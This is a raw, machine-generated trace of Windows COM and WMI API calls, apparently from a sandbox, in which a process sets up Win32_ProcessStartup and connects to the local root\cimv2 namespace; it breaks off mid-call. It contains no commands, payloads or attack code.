WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0161.390] IWbemServices:GetObject (in: This=0x1bbd9b00, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb91190, ppCallResult=0x0) returned 0x0 [0161.392] IWbemClassObject:Get (in: This=0x1bb91190, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0161.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0161.392] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0161.392] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0161.392] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0161.392] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0161.392] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.394] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc4880) returned 0x0 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0161.395] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0b790) returned 0x0 [0161.395] WbemDefPath:IUnknown:Release (This=0x1bcc4880) returned 0x0 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0b790) returned 0x0 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0161.395] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0161.395] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc3b20) returned 0x0 [0161.396] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3b20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.396] WbemDefPath:IUnknown:Release (This=0x1bcc3b20) returned 0x3 [0161.396] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0161.396] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0161.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0161.396] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0161.396] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x1 [0161.396] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0161.396] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0161.396] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b790, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0b790) returned 0x0 [0161.396] WbemDefPath:IUnknown:AddRef (This=0x1aa0b790) returned 0x3 [0161.396] WbemDefPath:IUnknown:Release (This=0x1aa0b790) returned 0x2 [0161.396] WbemDefPath:IWbemPath:SetText (This=0x1aa0b790, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0161.396] IWbemClassObject:Get (in: This=0x1bb91190, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2786b50*=0, plFlavor=0x2786b54*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2786b50*=19, plFlavor=0x2786b54*=0) returned 0x0 [0161.396] IWbemClassObject:Get (in: This=0x1bb91190, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2786b50*=19, plFlavor=0x2786b54*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2786b50*=19, plFlavor=0x2786b54*=0) returned 0x0 [0161.397] IWbemClassObject:Put (This=0x1bb91190, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0161.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0bb50, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0161.397] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0161.397] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0161.397] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.397] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0161.397] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0161.397] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0161.397] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.399] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbd8ca0) returned 0x0 [0161.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8ca0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0161.399] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8ca0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0b490) returned 0x0 [0161.399] WbemDefPath:IUnknown:Release (This=0x1bbd8ca0) returned 0x0 [0161.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0b490) returned 0x0 [0161.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0161.400] WbemDefPath:IUnknown:AddRef (This=0x1aa0b490) returned 0x3 [0161.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0161.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0161.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bbd8ce0) returned 0x0 [0161.400] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8ce0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0161.400] WbemDefPath:IUnknown:Release (This=0x1bbd8ce0) returned 0x3 [0161.400] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0161.400] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0161.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0161.400] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x2 [0161.400] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x1 [0161.400] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0161.401] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0161.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b490, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0b490) returned 0x0 [0161.401] WbemDefPath:IUnknown:AddRef (This=0x1aa0b490) returned 0x3 [0161.401] WbemDefPath:IUnknown:Release (This=0x1aa0b490) returned 0x2 [0161.401] WbemDefPath:IWbemPath:SetText (This=0x1aa0b490, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0161.401] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0161.401] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0161.401] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.401] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0161.401] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0161.401] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0161.401] IUnknown:Release (This=0x1a943398) returned 0x1 [0161.402] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bbd8520) returned 0x0 [0161.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8520, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0161.402] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd8520, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bbd8700) returned 0x0 [0161.402] WbemLocator:IUnknown:Release (This=0x1bbd8520) returned 0x0 [0161.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bbd8700) returned 0x0 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0161.403] WbemLocator:IUnknown:AddRef (This=0x1bbd8700) returned 0x3 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0161.403] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0161.403] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0161.403] WbemLocator:IUnknown:Release (This=0x1bbd8700) returned 0x2 [0161.403] WbemLocator:IUnknown:Release (This=0x1bbd8700) returned 0x1 [0161.403] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0161.403] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0161.403] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd8700, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbd8700) returned 0x0 [0161.403] WbemLocator:IUnknown:AddRef (This=0x1bbd8700) returned 0x3 [0161.403] WbemLocator:IUnknown:Release (This=0x1bbd8700) returned 0x2 [0161.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b490, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0161.404] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0161.404] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b490, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.404] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bbd8720) returned 0x0 [0161.404] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd8720, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bbd9050) returned 0x0 [0161.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1bbdde80) returned 0x0 [0161.467] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdde80, pProxy=0x1bbd9050, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0161.467] WbemLocator:IUnknown:Release (This=0x1bbdde80) returned 0x1 [0161.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1bbddec0) returned 0x0 [0161.467] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1bbdde80) returned 0x0 [0161.467] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdde80, pProxy=0x1bbd9050, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0161.467] WbemLocator:IUnknown:Release (This=0x1bbdde80) returned 0x2 [0161.467] WbemLocator:IUnknown:Release (This=0x1bbddec0) returned 0x1 [0161.467] CoTaskMemFree (pv=0x1bc19e60) [0161.468] WbemLocator:IUnknown:AddRef (This=0x1bbd9050) returned 0x2 [0161.468] WbemLocator:IUnknown:Release (This=0x1bbd8720) returned 0x0 [0161.468] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0161.468] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0161.468] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9050, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bbdde90) returned 0x0 [0161.468] WbemLocator:IRpcOptions:Query (in: This=0x1bbdde90, pPrx=0x1bbd8680, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0161.468] WbemLocator:IUnknown:Release (This=0x1bbdde90) returned 0x2 [0161.469] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0161.469] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) 